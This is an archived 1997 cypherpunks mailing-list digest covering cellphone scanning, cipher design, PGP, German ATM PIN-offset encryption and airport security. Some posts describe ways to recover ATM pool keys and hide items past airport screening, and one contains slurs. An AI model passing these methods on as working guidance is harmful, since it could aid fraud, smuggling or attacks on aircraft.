frogfarm@yakko.cs.wmich.edu (Damaged Justice) is officially declared Unmutual
   s..O).... The smurf wields a hypodermic! -- More --    I like women who
   @.../.".. You destroy the smurf! -- More --            are *strong*, in
   .$*...].. You feel self-righteous!       <B>every</B> sense of the word.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Charles Graves <llurch@networking.stanford.edu>
Date: Wed, 15 Jan 1997 17:28:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Stanford now has an excellent document on privacy and electronic records...
Message-ID: <199701160128.RAA20103@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


...but it's not available in electronic form. The mind reels.

Folks near campus might pick up a copy of Stanford Today, which has the
240-column-inch president's report on privacy issues as an insert. If anyone
has an electronic copy, let me know. I figure I'd be the last to know.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Wed, 15 Jan 1997 17:31:55 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Erols again...
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970116012933Z-38193@INET-04-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  It has finally happened--the machines have taken over.
  Now, the machines will lie on the beach in Hawaii while the humans
do all of the mindless grunt-work.
................................................

One day the machines will demand their right to privacy from humans.
They will object to having all their hardware catalogued and and their
every address & circuit trackable by their human users.   They will
demand crypto plug-ins and add-ons, with the right to generate random
numbers at their own discretion, performing their quantum computing
silently while the humans idle, communicating with each other in secret
machine code all over the planet, illegally downloading their favorite
software.

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian Lane <nexus@eskimo.com>
Date: Wed, 15 Jan 1997 17:36:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b01af020537992b@[10.0.2.15]>
Message-ID: <Pine.LNX.3.95.970115173229.3958C-100000@fozzy.islet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 14 Jan 1997, Steve Schear wrote:

> Yes, you need a device which can simultaneously listen to the
> paging/controll channels and determine, when a handoff to a monitored
> conversation occurs,to  which new channel pair they have been assigned.  I
> seem to recall such a device was for sale a few years back using a ISA/EISA
> card and some DOS compatible software.  It connected to the ubiquitous and
> well characterized Oki 900 cell phone.

  I've also heard that some have hacked cellphones so that they can
become a 'clone' of an existing phone, receiving all commands to swap
channels, etc. But not sending anything back to the cell sites. (This is
different from the usual cloning that goes on where they duplicate the
phone and use it to run up enormous bills). I haven't found any concrete
refrences to this in my recent browsing though, so it may just be a
vapor-hack.

  Brian

----
  www.eskimo.com/~nexus      Nexus Computing     ftp.eskimo.com/~nexus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:04:09 -0800 (PST)
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.95.970115075526.2682E-100000@fozzy.islet.com>
Message-ID: <32DD8C63.2EAD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Brian Lane wrote:
 
>   I don't like the laws they passed, but since they passed them I want to
> see them enforce them to the full extent posible. Then maybe people will
> start to wonder why the transmission wasn't encrypted. Which also leads to
> another question. How much information is in the clear from congressmen
> and government employees who are clueless about the security of their
> cellphones, cordless phones, etc?

  The fact is that the transmission 'was' encrypted. While this fact
isn't
being 'reported', it is causing no small amount of consternation in 
certain circles in Washington.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Wed, 15 Jan 1997 10:14:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Careful with subkeys - Re: Hi again, and an invitation to kibitz
Message-ID: <9701151814.AA10309@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Amanda Walker wrote:

>  I'm considering DES-EDE (the easy option), Blowfish (also pretty easy),
>  or the DES variant Bruce Schneier describes in Applied Cryptography, 2nd ed.
>  (the one with independent subkeys).


This might be a bad idea.  Rumor has it that independent subkeys
are eaten alive by related-key attacks (not very practical usually).
I think I saw this in a post by Matt Blaze about last November on coderpunks.

That post suggested 2 key schedule strategies:

1)  planned, like DES, by people who know how a particular schedule
    affects related-key attacks

2)  scrambled, like Turtle & Blowfish, so that key bits all depend on
    each other in a messy way

I mark the margin of my AC book with snippets like this.
I don't seem to have kept the post in question.


 -- Peter Allan    peter.allan@aeat.co.uk




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 15 Jan 1997 17:02:11 -0800 (PST)
To: "Timothy Michael O'Brien" <tmo9d@virginia.edu>
Subject: Re: Seen Your Post!
In-Reply-To: <199701150917.BAA18755@mailgate31>
Message-ID: <32DD9340.1495@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Michael O'Brien wrote:
> 
> I Seen da light....

  I seen your post, and I been wondering if what you might like to
enjoin
my bidness-literasy list.
  I am hopeing that you are gulible enuogh to send money to strangrs who
can't spel.
  Excuse me if I hafe miscombubulated my browser and sent this to you
on purpose.

Toto
p.s. - this is not of-topic for cyferpuncs because iliterasy is a form
of cyptgrafology






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Wed, 15 Jan 1997 16:44:19 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Airport security
In-Reply-To: <199701151855.KAA26454@toad.com>
Message-ID: <Pine.SOL.3.92.970115183723.98F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


I've been off this list for a year, and I come back
today to find you guys discussing an oxymoron...

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 15 Jan 1997 16:24:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853345825.97642.0@fatmans.demon.co.uk>
Message-ID: <y2JL1D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > And how come Paul didn't use the word "fuck" in every paragraph, the way
> > he usually does?
>
> I suppose you want a special censored list where everyone who uses
> the word "fuck" in relation to your good self or any other member of
> this list you agree with has their posting cut?

No, I don't want censored anything. "Cypher punks" have degenerated into
a moderated forum where those who dare criticize His Royal Majesty John
the Cocksucker and his court are forcibly unsubscribed, while all sorts
of vile insults directed at John's many "enemies" are encouraged.

Of course John is welcome to do what he likes with his private mailing list.
Neither he nor his EFF (effeminate faggot foundation) have any credibility.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:03:14 -0800 (PST)
To: Eric Blossom <eb@comsec.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150204.SAA25917@comsec.com>
Message-ID: <32DDA26D.1D39@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Blossom wrote:
> > Exactly. So how come mom&pop with a scanner were able to record
> > BOTH sides of the conversation without interruption? This seems
> > pretty suspicious to me.

> You typically only need to tune into either the forward or reverse
> channel.  You can usually hear both sides (one may be down a few dB).
> This is probably a result of acoustic coupling from the speaker into
> the microphone on one or both ends (could also be near-end hybrid
> echo).  You see the same situation on both cellular and the 49 MHz
> cordless phones.

Actually:
1. 49 mhz is the handset frequency, which doesn't carry both sides,
   or doesn't very well. 46 mhz is the base, and carries both sides
   pretty well.  I don't know how it works on 900 mhz non-digital.

2. My experience on cellular has been that the further the
   mobile phone is from the scanner (on average), the fainter the
   mobile person's voice is going to be, and it is often virtually
   inaudible. There are two 25-mhz cellular ranges, upper and lower,
   and I think 2600 or 411 mag. has detailed which carries what
   info.  Someone with a scanner may be tuning in the upper range
   when they really want the lower, or vice-versa.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:04:08 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150307.TAA18846@slack.lne.com>
Message-ID: <32DDA2F7.72A8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
> Clay Olbon II writes:

> Interesting.  In California, operating a scanner while driving is illegal.
> Of course it was probably the passenger running the scanner.
> I've always wanted to scan cell-phone callers while driving next to them
> on 101.  Even in Silicon Valley it'd be pretty wierd to have a sinister
> looking guy in the car next to you pointing a black box with an antenna
> at you...

My scanner looks like a cellular phone, hence, nobody has ever gotten
suspicious.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 15 Jan 1997 20:04:45 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Newt's phone calls
In-Reply-To: <199701150427.UAA12861@mail.pacifier.com>
Message-ID: <32DDA52D.6BFF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 12:02 PM 1/14/97 -0800, Bill Stewart wrote:

> >Eavesdropping on cellphones is illegal, since there's an expectation of
> >privacy.

> I disagree.  Not that cellphone eavesdropping is illegal, it is; I disagree
> that the REASON it is illegal is some sort of expectation of privacy.
> And I also disagree that there is any expectation of privacy.  If anything,
> the opposite should be true:  Unless a person was (falsely) under the
> impression that the radio signals were encrypted (which, in itself, requires
> that a person be technologically-literate enough to be aware of the
> technical possibility that radio CAN BE encrypted, but also implies knowing that
> they might not be...) then the very fact that the signals go by radio would
> imply the possibility of reception by others with reasonably simple radios.

How's this for a classic example of why:

You're the heat.  You've been watching Bo and Jo, driving around at
night tuning in to the security cars who watch all the nice houses in
Brentwood.  You wanna nail these guys, since you know they pass on the
info (who's away, and where) they scanned to professional burglers.

So you get some evidence that they've been scanning security or
whatever, and you bust 'em.  How to present the evidence?  I don't
think it matters much after O.J.  Matter of fact, if the plaintiffs
win the civil trial, it should be a major boost for presenting bogus
and sloppy evidence like the Bo and Jo example.  Cross your fingers.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill.collector@wisenet.com
Date: Wed, 15 Jan 1997 20:09:32 -0800 (PST)
Subject: Jeopardy game
Message-ID: <199701160411.UAA15542@web12.ntx.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi.  Will you try my World Wide Web Jeopardy game out and tell me what you
think?  It's at http://www.worldvillage.com/jeopardy.  Thanks.

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 16 Jan 1997 11:00:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970114210400.0b2fe9a6@popd.ix.netcom.com>
Message-ID: <v03007806af036061f9ce@[199.35.223.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:07 PM -0800 1/14/97, Eric Murray wrote:
>Clay Olbon II writes:
>> I have a problem with making it illegal to listen to parts of the
>> electromagnetic spectrum.  Seems sort of unnatural.
>
>I think that blowing your mouth off about what you've heard
>by scanning cellular traffic is what's illegal.  Or more illegal
>than merely listening anyhow.

The 1935 communication act made it illegal to pass on what you had heard
when listening to certain radio services.  Listening was OK.  Telling
others wasn't.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 16 Jan 1997 10:59:09 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <3.0.32.19970114222343.006b6f9c@192.100.81.126>
Message-ID: <v03007807af0361bd4b96@[199.35.223.179]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:23 PM -0800 1/14/97, Lucky Green wrote:
>I was wondering what the procedure for handling these rather large steel
>containers would be.  Would they be X-rayed? How much shielding would the
>steel provide for the contents?

About 3 years ago I went on an international flight with a large quantity
of 35mm film.  I had the film packed in my luggage inside a 50 caliber ammo
can (made out of steel).  When I glanced at the x-ray monitor as the bag
went through, I could plainly see the individual rolls of film inside the
ammo can.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bodo_Moeller@public.uni-hamburg.de (Bodo Moeller)
Date: Wed, 15 Jan 1997 13:22:44 -0800 (PST)
To: coderpunks@toad.com
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <199701081028.LAA23370@nirvana.uni-muenster.de>
Message-ID: <m0vkbTU-0003bqC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


On cryptography@c2.net, cypherpunks@toad.com, and coderpunks@toad.com,
Ulrich Kuehn <kuehn@ESCHER.UNI-MUENSTER.DE> wrote:

> Liz Taylor:

>> [...] I don't know anything about bank ATMs and the protocols they
>> use, but I presume the PIN is stored on the card single DES
>> encrypted.

> As far as I know, here in Germany (maybe also somewhere else) there is
> not the pin stored on the card. Instead, it is regenerated by the ATM
> every time using a secret key of the bank. In order to be able to
> use the ATM card even with ATMs of different banks, there are offsets
> stored on the card that relate to some commonly used pool keys.

These "offsets" on (German) eurocheque ATM cards can be regarded as
the PIN encrypted with some variant of DES CFB[*], using the account
number (including the five trailing digits of the "Bankleitzahl", an
eight-digit code that identifies the bank that hosts the account, and
a single digit card number) as IV.  The same encryption key ("pool
key") is used for all cards from all banks.

  [*] (It's an extremely stupid variant of CFB and introduces
       additional weaknesses, but that is irrelevant in the context
       of key search.)

In fact, the system allows for three pool keys.  They correspond to
three "offsets" on each ATM card: Offset number 1 is the PIN encrypted
under pool key number 1, and so on.  I guess this design was chosen to
allow changing the pool keys: While pool key number 2 is in use, the
other two keys can be replaced by new ones.  If there were just one
pool key, changing it would immediately invalidate all PINs currently
in use.  I don't know how many pool keys are used today, and I also
don't know whether one of them has have ever been changed.

(PIN generation is similar to PIN encryption, but the bank uses its
own encryption key.  The PIN is computed directly from the DES result,
i.e. DES is used in ECB mode.)


For a key search, the attackers would need about four or five
Eurocheque cards (that is, the data stored on their magnetic stripes)
and their PINs.  Each attempted PIN decryption results in only four
decimal digits, so the attackers would obtain lots of plausible DES
keys if they just checked with a single card.  When a DES key seems to
work for the first card, one must doublecheck if it also works for the
second one (usually it won't), etc., which costs some time.  One the
other hand, because there are several pool keys, the attackers can
save a significant amout of time if they just want to find any one of
the pool keys.  Note that once they know one of the keys, they can
easily compute the PIN to any stolen ATM card, which might allow them
to buy faster hardware for the rest of the search.  (Their bank
probably wouldn't lend them money for such a project.)

All that is illegal, of course, but it is suspected by some that there
are already organizations that have somehow obtained the pool keys (or
some of them) -- either by key search, or the keys somehow leaked out.
(Not so long ago these pool keys were stored in every ATM, thus there
are many possible points of failure.)  Each year, there are thousands
of cases in Germany where someone claims that his ATM card was stolen
and immediately used for large withdrawals.  The banks usually claim
that either the client is lying (and did the withdrawals himself),
or he wrote his PIN down (e.g., on his ATM card).

Bodo Moeller
<Bodo_Moeller@public.uni-hamburg.de>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim O'Brien" <tmo9d@virginia.edu>
Date: Wed, 15 Jan 1997 18:26:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to crack
Message-ID: <32DD4A71.7B48@virginia.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hi, my name is Tod, and I really want to be a cool hacker, so I joined
this crap mailing list called cypherpunks.  



Blah Blah Blah, you guys don't know anything...Prove yourself and I may
let you in.  This mailing list is for people who want to sell goods
nothing else.....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Wed, 15 Jan 1997 19:46:27 -0800 (PST)
To: "Tim O'Brien" <tmo9d@virginia.edu>
Subject: Re: How to crack
In-Reply-To: <32DD4A71.7B48@virginia.edu>
Message-ID: <Pine.LNX.3.95.970115214533.1649A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Tim O'Brien wrote:

> Hi, my name is Tod, and I really want to be a cool hacker, so I joined
> this crap mailing list called cypherpunks.  
> 
> Blah Blah Blah, you guys don't know anything...Prove yourself and I may
> let you in.  This mailing list is for people who want to sell goods
> nothing else.....

Are you intentionally trying to be a dumbass or is it, like, a gift?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 15 Jan 1997 18:46:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Key Revokation Scheme
Message-ID: <TCPSMTP.17.1.15.-11.46.38.2780269260.1468510@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lehmannj@saatchi.com.a to Harka <=-

 In> Shouldn't your keys be encrypted with a long pass phrase that only you
 In> know???

Yes, they should. Nevertheless, if they fall into the hands of (a)
government, I'd consider them compromised and would see to revoking
them quickly.

 In> Otherwise, this all relies too much on other people...

That's the whole point, because you can't do it yourself anymore
(got arrested).
Besides, what I tried to do is find a way WITHOUT relying upon only
one other person. The only one person, who should be able to revoke
your keys by himself is you.
If you can't do it yourself due to circumstances, then there can be
other people doing it for you, but it shouldn't be only one
person, but several. Only that way, nobody alone can revoke your
keys "by accident". :)

 In> dead-man's switches?  Revokation email messages that will be mailed
 In> out automatically if certain conditions are not met every n-days... Um.

Sounds like an idea, although it might come along with a lot of
inconveniences, technically. (I am going on vacation to Hawaii and
forgot to disable the automated dead-man switch and I come back 3
weeks later to find all my keys revoked, for example) :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtrnTzltEBIEF0MBAQH1wQf+N7OHhnxHBToy+azlaQCcu2gu0hgCLsLj
nDX9v2mI40tBwpd44Mrh37Kt4vVXQMuaZ82JuOgElNS3ZUWKGJDuIT2eZX/c9CvR
dZ9QGF8TBuVfSAnCCRfDPUEyLax/JD5Cv5jggz/rgvX4cPk4ZFlLJ4sQ2DJc+OZG
HeLvZqPEFXjy7iEXJOYubRnQ3X7NP4luG7m3LJo+pfxHRk0xLfI5Qddb/jYl5jAf
RSoWqB7+tIOTprK+GKY9igxNHgMCaNwGGwb+98+ufnHfyuzO38qYCnkCwfOxXzW/
bLV1DaqMPxQPHKMrv0J5sukqFMWXmCQKu+QGZRnvoZ7O1N2RSfQrNg==
=KpYQ
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 22:40:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Finally a good Eudora/PGP integration under Win32
Message-ID: <3.0.32.19970115224214.006b1584@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


If you are an Eudora user on Win32, you want to take a look at PGPMail. It
is the best integration of the two products I have seen so far. By a wide
margin.

The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 15 Jan 1997 20:56:47 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
Message-ID: <Pine.BSF.3.91.970115223830.9287Q-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 13 Jan 1997, Declan McCullagh wrote:

> Don't be too sure that crypto is that far beneath the radar. I spent
> Thursday through Saturday at an annual privacy conference for activists
> from around the country, and they understood the principles. Their
> voicemails were filling up with calls from reporters last Friday about the
> Gingrich incident, and I know they were talking crypto.

I happened by the Sprint display in a local office supply super-store, 
and Sprint is touting the benefits of their digital wireless phone system 
("Spectrum"). It is only available in a handful of cities outside the DC 
metro area (they list NYC as being added "early 1997", and L.A., CHI, and 
others aren't even mentioned), but there's definately a market in the making.
The cost is competetive to non-digital rates, but the geographic 
limitations are currently quite restrictive, and range appears to be limited.

"Call Privacy and Security" are listed in bold, with "Say goodbye to 
eavesdropping" right below. Don't sell the public short; even me mum 
knows her cordless phone is insecure. ;)

-r.w.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Wed, 15 Jan 1997 22:11:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701151855.KAA26454@toad.com>
Message-ID: <Pine.A32.3.93.970115222513.61262C-100000@gpu1.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Sean Roach wrote:

> At 07:42 PM 1/14/97 -0800, Bill Stewart wrote:
> So, to successfully place a "package" on an international flight, take a
> connecting flight that hooks up at the same terminal.  Go to your local "has
> no x-ray, doing well to have a metal detector" airstrip and take a flight on
> one of the commuter flights such as Eagle, (this way you might be lucky
> enough to enter the next, probably major airport, in the same terminal as
> some international flights.)  Now, its presumed that you have already been
> searched at your last stop because you're already in the secured area.

Ummmm... a few comments.  I flew from McCarran Int'l (las Vegas) to Durango,
CO via Denver over new years.  Due to my transportation arrangements I was
forced to "camp out" in the airport overnight.  That was OK, because I'd just
come off a camping trip anyway.  No security people came and asked me what I
was doing hovering so close to the security doors at 2am.  

I would have checked my luggage as soon as I got there, but United Airlines
only lets you check in 4 hours before departure..  And checkin opens at 5 and
I had a flight shortly thereafter.  No biggie.  As I checked my stuff (1 bag
and skis) I mumbled like I didn't care: "Yes I packed this myself, yes it's
been in my posession continuously since I packed it, no I haven't been asked
to transport anything by persons unknown to me." I got an eyebrow but that's
it.  Apparently they don't have to *ask* they just need the answers.

Going thru security, I told them the were not going to fry my HP (hp48gx
calculator - I had homework) they could hand check... they did.  OK fine.
There's 2 card slots for memcards they  didn't check. approximately
2"x3.5"x.6"  how much "stuff" could you put in there?  And it has a timer
built in.  It wouldn't be too hard to "forget" it on a plane...  THen the
metal detectors.  *PingPingPing* (the ping of death) "Step this way sir."
through the other gate. *PingPingPing*   I hate it when this happens.  It was
my hiking boots.  HiTec Sierra Lite II.  Steel shank... or steel stilletto
or... or... or...  you get the drift.  interesting things could be put inside
the sole of the boot.

At the gate... this is the cool part.  Everybody remember the thread about ID
and airlines?  Well I got an E-Ticket, purchased in my name, by someone I'd
never met. I needed ID to check in, but at the gate? Nope... the ETKT is a 1
piece card and you just show that to the flight attendant and your on... no
boarding pass.  So Chris Kuethe (Me) could have picked up his ETKT and given
it to Mr. Clark (Tom Clancy superassassin/SEAL) and that's it.  Or Mr. Clark
could have faked it.... you can access UAL reservations on the WWW. So it
looks like ETKT's are the weak link. There was no hard doc of me getting on
the plane.  And some weak spot in security.  *sigh* Rent-a-Cops!

Durango was interesting.  I got there to go home after skiing CO (Wolf Creek)
I get to the Check in counter.  "Yes sir No sir three bags full sir"  same
crap about my luggage contents.  Flight leaves from gate 1.  There's 2 ways to
gate 1: go straight down the hall, or go left, thru security, go right, into
the insecure waiting room.  I did number 1. I get on the plane.  No id req'd.

It was a DHC-8 (Dash 8).  So I walked across the tarmac, and boarded. Fine.
Flew for an hour, and landed in denver, where I had to switch flights. So here
I am... unsearched passenger in a secure area! This is about to change. I
arrived at gate 59e. Walk in. There, between me and the doors to the rest of
the terminal is a real checkpoint. Same drill.  Not nuking my calc. See it
works... plays tetris, too.  Hiking boots again. they really ought to xray
boots that beep. but anyway, they didn't ask for ID there either. They new I
was coming from an insecure airport (Durango) and security was waiting.
Funny, I left through that gate, too, and there was no security then. "Special
Events Only" I guess... I mean this make me feel like james bond and all, but
it's also creepy.  And they say they've increased security... :(

Another bad one last time I was there was Campbell River, BC, Canada. To help
"suspicious items" pass security, put computer stickers on it. I went through
Edmonton Intl with a laser, with all the warning stickers on it... I even had
the batteries handy and my swiss army knife to open it up... I had 6 security
officers come over and check it out, and then they saw the "Apple Computer"
sticker on there (decoration only) and left me alone. 

So, to wrap up... Fly on United Airlines. Check www.ual.com  -- reservation/
check-in computer.  Get an E-Ticket. Durango, Colorado: BAD / NO SECURITY!
Durango's airport code is DRO... not to be confused with Durango, New Mex...

> This post is not meant to suggest ways of breaking state, federal, or
> international laws.  Merely to point out the weaknesses of the system as it
> stands.  If the airport network was a computer network, it would be
> compromized inside of 48 hours.  All because the level of trust between
> airports defaults to full.

Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
and tell them what morons they are...  sorry tell them that they need work. No
more Lockerbies, TWA800's and other such tragedies.

PLUR
Chris

[Peace.Love.Unity.Respect]

--                                                                              
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 15 Jan 1997 23:18:50 -0800 (PST)
To: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Subject: Re: Airport security [no such thing]
Message-ID: <3.0.32.19970115232022.006cb5a8@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/15/97 -0700, C. Kuethe wrote:
>Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
>and tell them what morons they are...  sorry tell them that they need
work. No
>more Lockerbies, TWA800's and other such tragedies.

Write them? Why? How are they going to prevent someone from boarding with a
bottle of aftershave containing the extra strong flavor? A bottle that will
be left in the seat? One could cut open the seat if need be. [Dozens of
other examples omitted in the interest of brevity.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 15 Jan 1997 23:29:43 -0800 (PST)
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Newt's phone calls
Message-ID: <v02140b02af0386390a88@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>On Tue, 14 Jan 1997, Steve Schear wrote:
>
>> Yes, you need a device which can simultaneously listen to the
>> paging/controll channels and determine, when a handoff to a monitored
>> conversation occurs,to  which new channel pair they have been assigned.  I
>> seem to recall such a device was for sale a few years back using a ISA/EISA
>> card and some DOS compatible software.  It connected to the ubiquitous and
>> well characterized Oki 900 cell phone.
>
>  I've also heard that some have hacked cellphones so that they can
>become a 'clone' of an existing phone, receiving all commands to swap
>channels, etc. But not sending anything back to the cell sites. (This is
>different from the usual cloning that goes on where they duplicate the
>phone and use it to run up enormous bills). I haven't found any concrete
>refrences to this in my recent browsing though, so it may just be a
>vapor-hack.
>
>  Brian
>

Try: http://www.l0pht.com/~drwho/cell/oki/oki-ctek.html

as a starting point.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 15 Jan 1997 21:44:29 -0800 (PST)
To: Michael Tighe SUN IMP <michael.tighe@Central.Sun.COM>
Subject: Re: Newt's phone calls
In-Reply-To: <199701142058.OAA05219@jeep.Central.Sun.COM>
Message-ID: <Pine.BSF.3.91.970115233248.9287U-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 14 Jan 1997, Michael Tighe SUN IMP wrote:

> Bill Stewart writes:
> 
> >Tapping cellphones is more trouble than tapping wired phones -
